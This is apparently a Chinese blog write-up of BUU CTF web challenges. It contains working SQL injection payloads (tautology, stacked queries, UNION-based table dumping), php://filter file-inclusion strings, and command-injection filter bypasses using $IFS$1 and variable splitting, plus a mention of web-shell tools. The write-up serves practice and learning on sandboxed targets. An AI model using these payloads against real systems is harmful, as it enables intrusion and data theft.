BUU CTF刷题之旅(Web第一页)

前言:
之前本人是在CTFHub上刷题,已经有了一些基础,是时候换成更难的BUU了!
这里将会记录一些做题过程,希望也可以帮助到大家

[极客大挑战 2019]EasySQL

这道题主要是一个恒真的想法,这种我之前也是没怎么遇到过,就当一个记录

输入’发现有报错,那么应该是字符型注入
在这里插入图片描述
然后,,然后直接输入
/check.php?username=1234' or '1'='1&password=1234 or '1'='1
通过一个or的恒真判断就可以过了,,
在这里插入图片描述

唔可能后端都没有进行数据的查询吧!
想复杂了

[极客大挑战 2019]Havefun

这道题出奇的简单,打开网页发现源代码:
在这里插入图片描述
发现传入cat=dog即可
在这里插入图片描述

[ACTF2020 新生赛]Include

在这里插入图片描述
发现过滤了一些伪协议,那么常见的伪协议一个个试过去呗!
试到php://filter时好像没被过滤
那直接通过base64读源码嘛,,
/?file=php://filter/read=convert.base64-encode/resource=flag.php
在这里插入图片描述
base64解码就行

[强网杯 2019]随便注

经过尝试发现select|update|delete|drop|insert|where都被过滤了,而且有了/i 那么变大小写都没用
在这里插入图片描述
网上搜了WP,提示可以用show来绕过select
在这里插入图片描述

这里其实还有一个叫堆叠注入的知识点,就是可以通过分号分割来执行多条SQL语句,这种注入方法对环境要求比较苛刻,一般都不能实现这样的环境
加上 show tables;可以看到以下表
在这里插入图片描述
1';show columns from `1919810931114514`;#
可以查看1919810931114514库中所有字段,于是发现了flag
但是没办法直接读取,需要进行一个名字的改
因为words表中是已经有的数据,所以可以利用查询words的select查询1919810931114514中的数据
最后:
1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50); #
再查询
1' or '1'='1即可回显所有数据
在这里插入图片描述

[SUCTF 2019]EasySQL

不多说了,这道题我干了好久都没干出来,看了大佬的文章终于懂了,这里放一下网址

这道题主要是要注意到后端SQL是有一个||来拼接的就可以过去了

Exec

这道题比较简单,之前在CTFHub上也做过,就不多赘述,
一看到PING一个地址,就可以想到可能是后端命令行会执行你输入的语句,输入几个cd和ls试试看?果真!
在这里插入图片描述
加几个cd后就可以看到flag啦!如果这时候cd不了flag,那么说明flag是文件,只要用cat命令查看flag就好啦
在这里插入图片描述
结束。

Secret File

一开始不知道干啥,随便鼠标划了下,找到了入口。。。
在这里插入图片描述
然后访问后发现有302,则用python脚本禁止302,得到secr3t.php
在这里插入图片描述
访问,得到secr3t.php的源码,里面过滤了…/ data input tp等
在这里插入图片描述
但是没有过滤php呀!直接进行构造伪协议
/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
在这里插入图片描述
把flag.php的源码按照base64的方法读出来,再解码就行啦
在这里插入图片描述

Ping Ping Ping

这道题过滤了老多东西了,有点小烦
首先还是正常的开篇一个ls命令,出来了两个文件
在这里插入图片描述
后来发现他们过滤掉了我们的空格,那用 $IFS$1来绕过过滤,先来查看下index.php
命令如下:

http://077ad8ea-9a6d-4c7b-8736-20fdebb1dc9a.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$1index.php;
在这里插入图片描述
可以大致看出它把flag直接整成了贪婪过滤,这玩个锤子,,而且还过滤了大部分标点符号,emmmmm
其实这道题如果不过滤标点的话可以用文件合并的方法来做,可惜它过滤了>符号,就直接G
我也想过用base64,结果这个方法必须要用到双引号或者单引号,emm也都被过滤了

最后还是用变量赋值的方法做出来了,具体方法就是

  1. 先赋值一个变量a=ag;
  2. 再输入;fl$a.php;就可以等效flag.php啦!
  3. 其他类似的都可以

最终命令:
view-source:http://077ad8ea-9a6d-4c7b-8736-20fdebb1dc9a.node4.buuoj.cn:81/?ip=127.0.0.1;b=lag;cat$IFS$1f$b.php;
在这里插入图片描述

[极客大挑战 2019]LoveSQL

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

接下去我认为是布尔盲注,可以通过写Python代码的方式去爆破,
我也是发现了注入点
在这里插入图片描述
但是觉得太麻烦了,后来去看了别人的才知道可以用其他方法,,

首先用union select测试注入点
在这里插入图片描述
可以看到第2个和第三个位置有回显

这里要注意两点:

  1. 在url中不能直接写#,要用url编码%23才行
  2. 要让user查不出数据才行,所以不能等于admin
  3. 出现这个The used SELECT statements have a different number of columns说明union select 返回的字段数和之前不同,需要增加或者减少union select后面的字段数

可以看到把database()和version()放在第二个和第三个位置时能查出数据
在这里插入图片描述
爆表
?username=admi' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=b7f69cf522e5374a02b2b4885566bd41
在这里插入图片描述
爆字段
?username=admi' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=b7f69cf522e5374a02b2b4885566bd41

在这里插入图片描述
flag
?username=admi' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=b7f69cf522e5374a02b2b4885566bd41
在这里插入图片描述

Knife

这道题没啥好说的,直接蚁剑或者菜刀工具连接shell就好了
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值